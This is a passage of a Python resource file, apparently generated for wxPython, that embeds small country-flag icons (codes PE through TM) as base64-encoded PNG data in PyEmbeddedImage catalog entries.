\"31ZqWl+uEDTTaEw3msldZnSfcw+g+7bf/dyK20dlKqhIBIWI3Y2N6lYilKmI6l4Gg+7srLv+\"\n \"w5sHXT3IU0F5ylMe5dPuD31UrTW2tyuMQUw5eehlIk/OODs8tIODdirJCpvSKUt5KkWPNzqH\"\n \"Qz899eOjvLiQFBEdgkkNvpRIOBGpYIkspRQAcysrn/f2QGJpqf2mYPMeRrwQFjBOPYe/LSJI\"\n \"kgQZZCt4BT95XQotDMJeAAAAAElFTkSuQmCC\")\n\nindex.append('PE')\ncatalog['PE'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAAAz0lE\"\n \"QVQokYWRzW2CMRBEn+HrAXHgAH3QCZ3QFY1QANdENJBcvLM7OfgLf0LJaA+WPE8e7zRzVwHX\"\n \"K1VA3bTdFtxmAjgeAVe1KlYrG3Czl7CwfTg4wpIjvk6nCQD745NMMj3sj7pc3Lsj2mYzv+Dy\"\n \"7I54ddvufQBEFEwFLRPJEqFX9zPA/AflSPkPIP1GSlly9L+Bdo8U4d6R3Pt7IGJk1gCW0ojo\"\n \"iPeAAiWZDGARYr12BMrRYGvtXuduN3ZIZkH7fmixgPN5LliaD/v9fAXADwI9YYS3Muu2AAAA\"\n \"AElFTkSuQmCC\")\n\nindex.append('PH')\ncatalog['PH'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABcUlE\"\n \"<KEY>\"\n \"qRShOjlUsIouLomgJua9e+8cvipBj+O44XfTNXZ2OqurQ+AHACCBBAgQSMAAAjZZGtKNfv9R\"\n \"r3fm6GiQqQiRGZGkyKSnM+jpTPfo9bYao9HX6elWhHZ3v3S774dDi4C73NM93MI8zNI92u1q\"\n \"b+9uAZyXhkXxYWXl1Pr6Qrs9Yyb3cKOd0GFGM7onYEVmAp+BjtRZXJja2Li+tDRjFmNLsxiP\"\n \"60GYRT0oge/AJ+mjdBY4rqqrm5vb3a3Fw+cDWtDpFjTS2eKFV3hdApU0J10SWtBFjcZ6Mn9r\"\n \"+/FNM7lrIgufvwOUmZDmpNtAU++Ode+h3hzK/R8apEgCZeZPYFa6jBcv9eC+vg0muZNCBwMR\"\n \"AMrMa+o/w9O3OthHs4lzFdwb7iBRJ4mI2gmUp7tXfq0t55+T/779v2v9BjchVftPWcpLAAAA\"\n \"AElFTkSuQmCC\")\n\nindex.append('PK')\ncatalog['PK'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABjUlE\"\n \"QVQokWVRzUpbYRScm3u9kCYRaRclTQQLmiLd2K0V6gP4COILuK3bZunaTelbKFkpuHNV6M/W\"\n \"RcXUxEqlVGKSJt+cn6+Lq1ToWRzOYmY4M5MMwgAAgBFHjfcNjAAHFFDAAQIK8P7IkAGYzWcB\"\n \"5GneftMey1hh5qqmClUTcVUTMRWXzodOVsjHGN29N+7dhltzi4iNSvP7zdnEJhTSKS7z1XkQ\"\n \"pQJdbHU1Nyq3X26vPX09CZMsyXZWdurlOpXiAkUJ9xMR1ZXK1fpqa6512DsKHpqV5vLj5c0X\"\n \"m1SKCYjM3Qv5GKOYiEhtplZOyz9GlzR+vv6y+2n3YnjBSI0KouR+hy4IjLz+8zNP863WFgMZ\"\n \"wkn/pDvsiouYQJHB/QGBdB52j1aevNp4vjEIgyGHC7WFg28Hx/1jc4Uic/x7iS40MrL98V1/\"\n \"2F9/tl7Nq3tf905/n05tqmZ3HoqUkiSpV+qVtCJRxKRz1tk/3ze3ICGdSRfnFi0aFMnVzZW7\"\n \"u/tUp0tvl/Drv4IfFv8IfwGHykCMTQsl5QAAAABJRU5ErkJggg==\")\n\nindex.append('PL')\ncatalog['PL'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAAAuklE\"\n \"QVQokY2NMW5CQQxEn2FresSduQM3g+b3oKTZ8XpSbPLFD0TKaGzZ8hs5fL/zo1qrqqDeqQEc\"\n \"DoDtAMAGHPYedt7oY1ka35CfB79TRFRm+yc9T1XVCmKljf/kDVAVA+J89rI4k0yvlqx0ypIl\"\n \"Z8bpdL9cGuDbzder1dHkurvcu7Xp8XgUtIKQ3DuZG2hLz+c5A/tMS6zQayxFDsZgBnZKjkdL\"\n \"5CCFFBKZzJ7JGNMF8Qn1ZLbrrxPwBcJ/XXnBf5aSAAAAAElFTkSuQmCC\")\n\nindex.append('PR')\ncatalog['PR'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABi0lE\"\n \"QVQokW2Rz0uUYRSFz/u9r+OPmcGNiZBaSASlYIjmvv6B/oAgglaCUNuGFq0V3LVt0cY2sxI1\"\n \"ClxMiouQoYU0LgqGmoWIheA38333vve4GDUXHp7F3Vx4DscBjQ94MIV2B8gBu4ICCuDiUCAB\"\n \"AnC3WTkaQm0q2e1xmWSRalSxGKnaxURMhKq71aoD+KaC5m/eLh2+qgyUh3ppJEASvEiSkITZ\"\n \"34ODBIAay/1oHA8vvi42/4SYBHgP73kJQADeWwgOiCsr7vEjbH3hXh1Hx3w2Vp04qZXlkJKd\"\n \"y4iYSGF0dGd1NQB4OIt791kcYO0rTPjux5OnsTGTffN5uyNieW55biJ9ZAsIAD5tMEaurzE9\"\n \"RTvni1sfZ0v/vE5TpVfEur1j7BkZGd/edoC8XHCNX1RFXz+Xljg2zuR/3/MAcM619vcDYB31\"\n \"IrxTbr1dLg3eLJKk0VRJ0oxA9905hzR1QHvxeTavG3P4XMBplqp1NS5lVKnRLCLGzXo9AD+H\"\n \"30/eAL4D6ZWB8+v2LgBnnkcsD9MsvJUAAAAASUVORK5CYII=\")\n\nindex.append('PT')\ncatalog['PT'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABXklE\"\n \"QVQokW2RMWuTYRSFz/fmbVIrpUI62CGCgyLipP4Dndw6unTrIJ2cM3YpiL9A3ARnCwr+AUH0\"\n \"D+igS52iaYmJ6XfPufc6JKFLDw+XM9yHO9wGT4Eplgmgwt8t66VUTDDcHwKIiMjwxnHT4Wqk\"\n \"jlTIlHI1p8fHFQVAnpz+2uj4/b7f61O7rhG7b5mnTGPS0izJZjAIoAKISA9//tC3WnXfOOfM\"\n \"x5zuceOFJS2NCwFkAAUBT5d0NuP6e3UPDifPjuzLdtOjYNla2goSQIFB7nRWcD6ztlw5u367\"\n \"LWtRWq5ZkheCFECFwUMKfR3ZrUd+59Vw++qN+e43S+uPLduVQzZkABUCneb28Yf6dzl5cnLt\"\n \"z8/ud3Y+WZldbENKSYsLCtH5W3z5mb1N+/Da1GMZW5JLQYQc7gAq/oHSztYORbkriQErmZsC\"\n \"CQkS3BcE0OABMAbOAQPOgYLR38t/vMh/jtdGdgUCTU8AAAAASUVORK5CYII=\")\n\nindex.append('PY')\ncatalog['PY'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABH0lE\"\n \"QVQokW1SO0oEQRSsnhkHNRHBQITdC3gMUwPxOG5gYGLoLU<KEY>qBV/CDLKz/XdTpelUG\"\n \"4/7A4lFUP+oV3fRLxgxa1P9WMoBeD4AlSIgwA0GTIJ2z53jU71cAAPvhERGIcM4t/1WTnRs3\"\n \"jXNOnY6ACuOx6xoSANvwFJgdJNsoCg2H1ZvqtbJEWf5ZYN3d/VxeKOd6dx/d7iwgpWFTF+1L\"\n \"p6G2Pfo43X45HO3489XzAEgVkhbcNlaW96588H2G5ZUFvw0pPb9/rdZLIbUTmlwfVnjSkGVU\"\n \"ZfHwNEhYvz063rofZFKZIJVpUnkmTCno7mZ9fnJdoRHDG+tFsGCYUZCKSIySFMMRoqAwLQAJ\"\n \"5Q2CgIB5bgXnvpjtBvwCb+9W8SwiBKMAAAAASUVORK5CYII=\")\n\nindex.append('QA')\ncatalog['QA'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABJElE\"\n \"QVQokX2QzyqFURTF1719GdxkYKSQl/AulJSMTJSBKKLIQClMjQwMmHgPI15BZpJ/6Za719rr\"\n \"GJx7P0ZWuzM4+7fXWft0Bv2+MZTh1anJ+y8KCOB7dBK/6gz6/bFeD0AppV5d7W5n0pmpTDIl\"\n \"kSlZ3Lq+bap9S98c7r88PaYkSowkRYohcnJ6BkD3L217Ye9AqkSIJEMMRjDCIoCmDVfHrna2\"\n \"klSEqNZbESKTAtC1Xek6sHR0XNviQBGMIc0IkQAa22WIl+JyublBhuI3ukgFTaYIoOvWvqCU\"\n \"snJypggxFLU4epCZAtBgFKlucrG+pmijU6REk0qlDKDz+f7aG59odyilnC4vpijVv8+UnMpM\"\n \"Z57fPTS2P97ebNuWNT8794z/9ANrfVvlnss+EwAAAABJRU5ErkJggg==\")\n\nindex.append('RO')\ncatalog['RO'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABFElE\"\n \"QVQokV2RMUpdYRCFv3vzP0l6myAW2roAF5LCJgsJ2GVJD1IG7FyEnQgWgRiCqG/mzJwU9waf\"\n \"Dqf95nxwJs6u+SsAZhgPV+cfD6DpppvxQp/RvGbwW5ffT4DuqT1/Ovq22exAtkB+TH+VMy05\"\n \"83G7HQwwd7+y2tVz9y0827lG6ZtwhDOn4+OGAbSptsoq27LDlp12uMORC0Bmw0BdbVVLqGzH\"\n \"63uH/QYABtEqp/wfyD0m7HSsSki9AFUtOWQVe0DYua80rUrRWYRacopV411DJpIlwWAnqTM7\"\n \"5axpD1ga0hFWoqIKGKCUPx9uUlZ9mOcjeJqmBEEyxKmoWtIwwQ8I0LLj/c8vY9CioUX/oS/W\"\n \"jZf7Byetb52vN2aSAAAAAElFTkSuQmCC\")\n\nindex.append('RS')\ncatalog['RS'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABEAAAALCAYAAACZIGYHAAAABHNCSVQICAgIfAhkiAAAASdJ\"\n \"REFUKJGdkb1Kw2AUht8kX0OamDRFq8FBDUVRyeLg4DWIo5OLgjfhZYiDm65ehZPwIUKnBhws\"\n \"VSzaFAtJJTZpk3wuGjSlTfUZ38N5OD/cyeo6M2UF/6X54YOYsgJLK/0qhCTBkESYCcSpRCQb\"\n \"POhAuNIDX+QgNCSsdZJ8yVWk1meH+vt3sLtUNefL3TI4wDX03nmn1QyGUTxO0I0SlVwbOxbm\"\n \"qml4YLrwXj0w8NDMhcpdf6Ny73Pjx3hrgM9mvq6DC0UocREDYzF3FQCjEt5powBAlCTELy0E\"\n \"yYQpviD7m2LdWJbSm/DPtW1fkEmfCVAeabJnHd9OErSfRBWUUvaTgeux2sUluzk9Y4HjsDwo\"\n \"pWzkxYWShq2jw6luka5j2/afGrLYto1PPjGOVBw0sOsAAAAASUVORK5CYII=\")\n\nindex.append('RU')\ncatalog['RU'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAAA8klE\"\n \"QVQokW2PPU7CURDEfw/+FXY0hljQ2Fh4DRNuQss9PIVXoOAuFhYUho6YSEzezNu1eEQ+ZLLZ\"\n \"nd3Zj2w5HJITIqKHzuIKDgZgMgHITChAZs8KjDNHeYbd7nvomzPznOQtlFIioiwWuVzmfk8E\"\n \"rWVrRGRraV94O6fTslp9DZtNPD+X7RY7LeSUUspar/18DjAANlL+DXS591Wl6rFiF4gB6Eer\"\n \"0uLU+u+ClBDDmvGTXn/qZ9hZHXJUhRzSkVQ3Kdzu/LDmbXiBsd9DH7eXd2LhVtrjPQwBI5nZ\"\n \"LCXcsJCK1D/Dxqa1bgHlAHFmXKZXEvALP4llHm/RUYYAAAAASUVORK5CYII=\")\n\nindex.append('RW')\ncatalog['RW'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABRUlE\"\n \"QVQokW2MMYqUURCE673/zYKyKshssJHgZQQzgz2BCAZiZCKCgeCaGegBzPQQIngNMRFBHFc3\"\n \"GXUcu6urDH4GdsGmKaqgvmqXnjqE+SgVAQEEKEgIgULsjDBCeH4DAGyXmwwJJZdbaUp1i0fL\"\n \"F83x+uu945ca8/bJb5chgXIVaLNMeZu+c/hkPz50bY6WcYz7XYDlEkqgzELaWWY5y5TfrO7+\"\n \"Yf8WB29PbyE0MkS3KJQ8MyVXebtjvsTBo4+vKC/3J6zX7edfLKaH1meDdtq0w0447ZRjjjZb\"\n \"v7b6/m5cHAA27r+MgGcm/qu9X728hyGhtbQD4PnSuTZAmyTG4jEe3OSndaYyK7MiFLPJSjqz\"\n \"gpWpun6l3j/DwAlOt7wwDody0Yo99yqzJztzShY5sVRV9WNTWKHhNrAF4szzjAagXRQw8A/4\"\n \"uWjB1/pT4AAAAABJRU5ErkJggg==\")\n\nindex.append('SA')\ncatalog['SA'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABc0lE\"\n \"QVQokX2RvWpUcRTE535ks5vAInGLgDFGQmqtVRRsfYtUfjR5BH2G1IKd0bxAKpsQLFQEhVsI\"\n \"G7tV2BXW5CZ77zkz529horFximGaHwMzGR7grwIgQMDO3YDmQmhQAnj28GkCEoKiQhHBIEVK\"\n \"DHe6Qgq5/PWj3RJAAkY/RxGRIwfSaXtqtLmy47SZNQnppK3r5nhl6SqAEoGUUsvm1vU765c3\"\n \"jpujd1/f31y90ck7RZYfDA/ubtz7PPr04u1zp58BDFJy+tFs2p3rrVy60it6h+PDlu10Nv1R\"\n \"TwoUJrocQA6DQpQPFgdrg7VxPamtrr5X3c589a3qFgvD8XCv2pNI8axBwZSw+/FVljIGTWZu\"\n \"JBu2eZZPTiakp0jngIGiy83bzdubC+ViSunPVv35vsuf7Dxu1TIuAnQGt99sMxQKkzndZFv3\"\n \"t/a/7Lv899AASjTw4HJ/meFOUu5yih5OcefDS1GrS9cYjAgAGdb/ORIt/q9fMHo3F1zEQB0A\"\n \"AAAASUVORK5CYII=\")\n\nindex.append('SB')\ncatalog['SB'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABz0lE\"\n \"QVQokYWNQUiTYRzGn7Xv+0gl3MKCCS0LVgdDSQyExU4WEVGHygiCWF285KkI8VKwaJcOUQQd\"\n \"WjQIpnjx0mjhoGIOYY7ARtGhSQh90Sq3nM73+b/v12F17nd4Ts/ze3x+/1Ii0Ts5+XFq6kAy\"\n \"6WrdAAwAQADzLzuB1fsX4kOjsFKp8NjYTtvGxMTugYHtpVKThNZGxBMxQh/FOhldiA298zqu\"\n \"Jh4/8QFvU6mDw8Nd6fRP11WtltHaIw3pkbYfmzcvPz/UX1xZt2+X7Oz1rAVY9boJBv2iTXf3\"\n \"tmZTlPJEfFTO6dibc8fm0VnLVnF38Ut4VxiAFY0Gxsd74leqT1N9s7NrmUyNdGBaNy5NHx4s\"\n \"fGjItRfulih6pCEAq1Co5fMhKszM/Jqba5AdJ0YWzh9/1XSquVV/ctGlUcooCkUEgAWoXG5N\"\n \"xMtM/x6MfD51tBjZt1Td2LpX2KjU1pWnqKlE0ZCa7YEhoZQTP/Oyv2/ZBMqvv+24U3Rp2Ba3\"\n \"2yKi9d8Ha3SkEowtR/YWv0OevXfyK1/pUem2mxQlhqK1GA3AunjkVihwtnd/5VM99Kj8Qzx7\"\n \"T08XNUULhWJEjOg2RgPwFR/AdfCwjPk0sIn/8gcg3yvgjsU2IAAAAABJRU5ErkJggg==\")\n\nindex.append('SD')\ncatalog['SD'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABOUlE\"\n \"QVQokZWPsUpCcRSHf957CVP0Sks4uPkALY1Ba20+QS9QW0NEUwVBDbX2BC1NQmtQb+ATOOiQ\"\n \"3SI1Rfyf3zmnQTODlj4+vukHh4PqHhxzdUkBpsAEGAOfwAD4AN6BHK5xs3G5/ziIaDCDqlOh\"\n \"dBKki/hSR81mAiKr9E82J+f3WSTqIlB1kblBXIKH4CK5Ws2ABIQF71ayw0Z6tX0Wec7d/Adb\"\n \"BHFs7XYEQF0Z2C31Dp6OOytjL5eXTL2cepp6mnqp9JLPRyBoKioi0kk6Jw9H+uvCEoCZRSDU\"\n \"SGOwsK7rpzunOcffe3czS0DM/iq+FS92L6Jp1J/0zczdZ10Qx/FwOExgoLPQK2R3WeO2EUII\"\n \"IYjIvCISAimk1uv1VquVYIT862rhuVBdq7KspMwgOStJ/QYAsIV/8QVvRk9166paHAAAAABJ\"\n \"RU5ErkJggg==\")\n\nindex.append('SE')\ncatalog['SE'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABTElE\"\n \"QVQokU2RP2rUcRTE57v+NEVEQVEIEgRzAEsrKwuxEe9gERC2Mm4jKBaWNtp6hTSCpUUO4BkC\"\n \"IZ2KqLBs3ps/FmZNhscwxXxeMwMP3mAtvXoNA8aFxQuUUYUiVnUWuiYAL+ePANgZO0tYgeZ7\"\n \"j6lQptwS5bZb+jT/MAEAcvxzKQcnR0kjOvz2p+WmWiqq5G5tX98EaoJtQw5PLv5rxzWN1ZKz\"\n \"kpsqqqi2WgZq6ADjzgJ1lBBh3HEnHXdccZ2G9Ni4/fvLwQQCUdLxGkidYmftihumiQlGwphJ\"\n \"weeBc56Ke7hNDNx9/mzx5PD7L8qfH75LOq57+3tNltyrWdEtk9q5eeXr2/cTVqTVUtPrZ1Vk\"\n \"US0XqiEOc2bONoDjCVVNb13dbAqXbiEN9/a1y5SbpkVHsmTZgAe2nv4f8sfHfRAmbuzeBwjU\"\n \"+gwQMIC/3Ll5iJVVWFoAAAAASUVORK5CYII=\")\n\nindex.append('SG')\ncatalog['SG'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABJ0lE\"\n \"QVQokY2SPUpDURCFz73vQjQknY34k9IiriArcD3au5asIVWKYNIpaRRMHwKCiCikkTgz7xyL\"\n \"p4KK4sd0881p5qQHgEDZ3oZZ1DUBAgD4YwIAUAjszOfV8bHNZry9zf0+1+u4ulKEIuDOCLkr\"\n \"Qu53o1EBUPX7fnkZk0k5OdkMh/nwMO3t+/RC7jKXG83kXh0cBFAAqK6rXm9zf8/xeOvsTBEv\"\n \"5+cyp5vcZC4zudOdQHUKtAaDfHQEKa5vfDZ7HY+bbLo1qszonrvdx9WqFKBeLGw6FRI6HUQr\"\n \"t9uMgHt2b4IRkTzS7m4Bkq/XudORJAiCfifn/LRcFgJJkgT8ZTfbAArJCvjPAQBEFJKfNj5I\"\n \"KeELCVDzzQJy8/zMd4LBb4AMEmTTgDfsYE4MubWOHgAAAABJRU5ErkJggg==\")\n\nindex.append('SI')\ncatalog['SI'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABRklE\"\n \"QVQokW2MsWpUYRCFz3/vD8oWgaBgFjux1EotrXwFCxEfQ7BTLAJ2Kgoi2KhFejtbfQMbG7GJ\"\n \"RViFhM29uvznzBmLu4ZV/Bi+OTMDU8ZxxAa2J2+GE2RXALPZLBOrVaDk7HQPAMjMXLcNhmGo\"\n \"0+PHz/cPFoe9Y/fhZXRd/o9Siu3Sb3988ujC8bFu3zzz6u1iGMIJyaKplEyZtOSdc6dePv1Q\"\n \"43DY/7a6f+1LbF2/d+nzrdc7RE+50WxuNOnWTMbRksCPCliJN3uLs+/2xGCeb5lUUtmUbQqR\"\n \"FBQAXIEa7t73V9uRRTOTdFPXAgy0KGsbdAfUuos7N8YHy+WBpWgy/5iMppDcZCkYW9vzZ3hR\"\n \"7+J7/+uTf34FmWS2lq2tw8lGhKKsLl4BqoGOwnyeJBQQQRYSEiZLiJjKQBkBbxT+Hv85AfgN\"\n \"XohcMYYB/8YAAAAASUVORK5CYII=\")\n\nindex.append('SK')\ncatalog['SK'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABgElE\"\n \"QVQokWWOv0uVcRTGn+97X296jSxEXByi/yIhIlFq6A+owaBwyhwa6kLR1NbUINRUQ6ijRDY0\"\n \"iAVN/djMKMJFb/Tbe015r/ec8zwNr0jWh8PheXg4DyfFdgEQe5AEQJBkabiHk8gBZLUaAEnl\"\n \"SSYASlIF0H62vv3Iy/ri4SNsbkmUB8Duq1P6j5SSu+cjE+tTFwZOr3zs3Wjo5i3Mzca799MP\"\n \"Gm1WwhlBD7nTg/2H8/qVlfzlq+bYSP9Yu63Lk+g7pPHxuH7j53rrQ7Mb7ua0kBs7zqHBKuJL\"\n \"Fg5RDOr+tFqbmpvJMv3uZE5ZwANuMocHggCQA1WJa+cmFxY+N+4V2Dlz7fyJr897LBiUMZky\"\n \"F51pRxWgmpaAY/U7XX214uTo7cdd9bNeW3zaevGa5jSj2e5P5geODi0tzuTDQGXjE9+u4tfq\"\n \"3eOn0rM31SfzA2bqdGSmUrjBIx1sHgFSAeQXL8lNZvDYFWZyV7ndFYEIRHxfXk7bAP8a7Lf/\"\n \"RAD+AEvfR7lINIfTAAAAAElFTkSuQmCC\")\n\nindex.append('SN')\ncatalog['SN'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABK0lE\"\n \"QVQokVWRMWqWYRCEnzf5QUEEGzERYpEulZ12dhZ2HsBCsPQIqXIDbyKk8SJ2goVoJdgYFXdm\"\n \"dyy+X4PDtM/ssLO44FqDXnJwAMNsNnPGcO0dcP7sHJjMZNaDhgavXz4cH9xUXjhS7EhXl5c7\"\n \"APL5x5dO9zQRqxPlhhJllA+Vqkjr5GRgxzCTnnbao9CkEne0UkmltAFIe6Bpx257nOhKevtR\"\n \"v1vPT+vO4X8AG+BptTz2mOj9t3r3Sd+l+7fr6T2l9pWwB3aYHntcU24nenS3Hh/pZ9WTI2Wu\"\n \"L6x9JaOoujxWVxCp12dK1KmM/sXH9ga4rZZGaiVFKlFSK0qUqli46QZ2FBof3zpWy9tb0VoC\"\n \"g1jm1HRvHli8ggJDQfH1DfB35mGKebjfeNMf/ixbkUHqougAAAAASUVORK5CYII=\")\n\nindex.append('SV')\ncatalog['SV'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABPElE\"\n \"QVQokVWRv2qUURDFz3U/99P0EVaICImkSCEBU/peopAHSJM2PolFioAQQhJSbyE2FiGoCC6G\"\n \"yL0zv2Nxs0schuEwzL9zpuj1XFX3BqooUJUqqqGKGhJS9Dio6vDDs14MAiKVOCFTEY50BB0c\"\n \"7c8HQaKbnwHOdKQjnekWjqCFW7gFrTFbfyzVcnJ5u7kxrRVbtukORrbAYAx4nD76fP69ZGYp\"\n \"RZJtWZZt//qyf8v4fOudH1gpZbFYDJ1tT3VwNb87//ojaG/u/uztrK0aVAowrKpX83e3p4v2\"\n \"Nsm9naf/bbCBcnz2+9WL8W8FbLsfHU6QLHBngP1knByfXheNl+8PNr7d1KUm1HCmW6O17CpF\"\n \"EumXs+mnjxeDwNZsfWjhDCId4ZZEEjHJvNcanEiiaHKq1OqRyxhLzAOApH+kWGxNzYWtjQAA\"\n \"AABJRU5ErkJggg==\")\n\nindex.append('SY')\ncatalog['SY'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABDElE\"\n \"QVQokZ1OPUsDQRScDdeG1ClSqIe/R0UQ0Tp/Ij8kpWClhxBIGUF/wxVWOU4iEW0i3BEM2Xn7\"\n \"nsUmp0KwcHgM8z5md5zhG/pb7yxnAAYDAKYKVYRgEhDERCBipP3g5XicAADM5q8IASEYGXlT\"\n \"nkZv3hvpej0Fkrqq2u02Nj6LvBNw7mM2azWhzWyl66y8WxnjhbdwNb2uZdl4VLWlqs2ro+fR\"\n \"4/whm97ENitu718mw6fh9guISKJNBtjJ3lG9rk4PjuPgfP/s/fPt8vAits4MgFssFp1O5+/0\"\n \"ceucK4rCAej3+2VZkiTpvffeR0EyKhGKhDRN8zxPAJDS7XZJigSRaKSIRBaRsAX+gS89B00d\"\n \"BrzDKwAAAABJRU5ErkJggg==\")\n\nindex.append('SZ')\ncatalog['SZ'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABxklE\"\n \"QVQokSXRTUuUYRQG4Pt955nJmqIsQkqaTQ3SoqDAZRCmNgW2axO0rgja6KLCQZAKatN3qwrU\"\n \"RVFEURFE0spdJPRlgUGBo4uQ8GvGd85zzn1adP2FKzl+/UMjUwAASCohpCpVKKqizFRFVJSZ\"\n \"aEtIA8PS6UoZABx0p7u7m9HUCNBhpNGNNLJ/dCKMFnoL+Zu++sdJuDnNqU5zVzC6qTO6RVLT\"\n \"tW094W64dcp6Lswuz8y4WfD4u2lvHFFlbOThyrcvn+/cWPw1a1GyZmwtle6PIyUQzZBouWvd\"\n \"5oPF16QmabMpU9M/Wzp27xwc6jixvXPkwQ+RGOMCkCqQwEqVbaubtg6/mu/rO3rsSHeMsV6v\"\n \"D5yvvhh/X+w8O/3y4uEz+0ORAgQFgHQiOyS51m6ZfPzoiZplWRZCqA4N1iY/fRyofj9wsrGh\"\n \"vHfhsgIhBUxty/N76lgjzUqM70QWYswbk6mvc9eu/K3NtY1d0jSXtLcDSBavotA1zOWaW3SP\"\n \"MCOjWQTNTUAh1U3dGDbuqN1+FnobT8/JHuZdcySpOXc6SZHIHOhudKPT6eLVbFeyr//t/FL2\"\n \"PzITFaGrQhSioEIIIVRBQon14R8k7mFOvA7V6wAAAABJRU5ErkJggg==\")\n\nindex.append('TH')\ncatalog['TH'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABDklE\"\n \"QVQokX1RsUpDURTLtQ+KVB2qi1MXdXJx0N3BjxEcqz/gz3QVuklxL35F9zrUCvaeJMfhQWuh\"\n \"GkIIZwjhpCQ28LbfyZIAnp8BpAUnyHSCkRLIJDMiI5JMcjkalcwE0Ora5C6UUhaLRbm9e3m4\"\n \"v/z4WMlppWzRVIqiLFoyw7SP+/tPj+Pm7fX9+upkNvskzXDQEYpQrY5QrVrrYHAEjBvAbU8y\"\n \"GRnMWtvartU1MqrbCwnADfAtkYwaZmgd/zu7VkU4ogLLpnd4cXbePzjskkkqaNIMkQ6aFGnS\"\n \"kk9Pe9PpTVmtVp1Ox/Zfz2kBoJQyn88bd7t7wyHajhKCEEsEyA1tSJA8mZSv7SH/2bjFD1//\"\n \"ZYwkMQleAAAAAElFTkSuQmCC\")\n\nindex.append('TJ')\ncatalog['TJ'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABO0lE\"\n \"<KEY>\"\n \"<KEY>\"\n \"9gEArvdLRyAiyYwwmaTJrExW15rkh/<KEY>\"\n \"LpdNV8A2DC5umq1jx5P12Ds4i783foekJjNbt20ufvTG52X7xJZT3tgrHy9j9vXVDmRmWa1W\"\n \"w+HQbb5hOxbf/TRzypv75dNVF980zXw+73fxnSjjC9jtdHQNCyY4/XI6e5hRZLCqVlWKNSrF\"\n \"KjKqgoo43Dm8u77r4xkM7Y52GVSEggxSVKrdCkVGREQGAGAHGAGb+E9eACEOOiSM812rAAAA\"\n \"AElFTkSuQmCC\")\n\nindex.append('TM')\ncatalog['TM'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABj0lE\"\n \"QVQokYWOP2tTcRiFTy733tyk9s8krThoFwdxKEjFyVFwlI4uIvoFghSku6M6FvoNnARB0MXB\"\n \"qbQOTQsabdJgNFiqJiY1ue857+86JLj6DGc7PE8J1wHgzc+l3sfuELi7Aggzq1dO39ZhwBjT\"\n \"zTEhBrBRe7LczYtQTheqD9PeTLnya9i7XdvabR3sdxpyMZByOl/UNiMAKPD76GuUt4933i9U\"\n \"zuy1P8xXZx+/3FxbvZnLPn0/anTbjW9NugBECAhFSNKi3x2lSdhpHdy7sbZ9uLd+60FUiipJ\"\n \"2USjmZMigBgBCj4e8HSUZ6VCjtf1d0/vbND9+far1knHSBMpUgIQwxCCJ4n/GYbZajCp3mnc\"\n 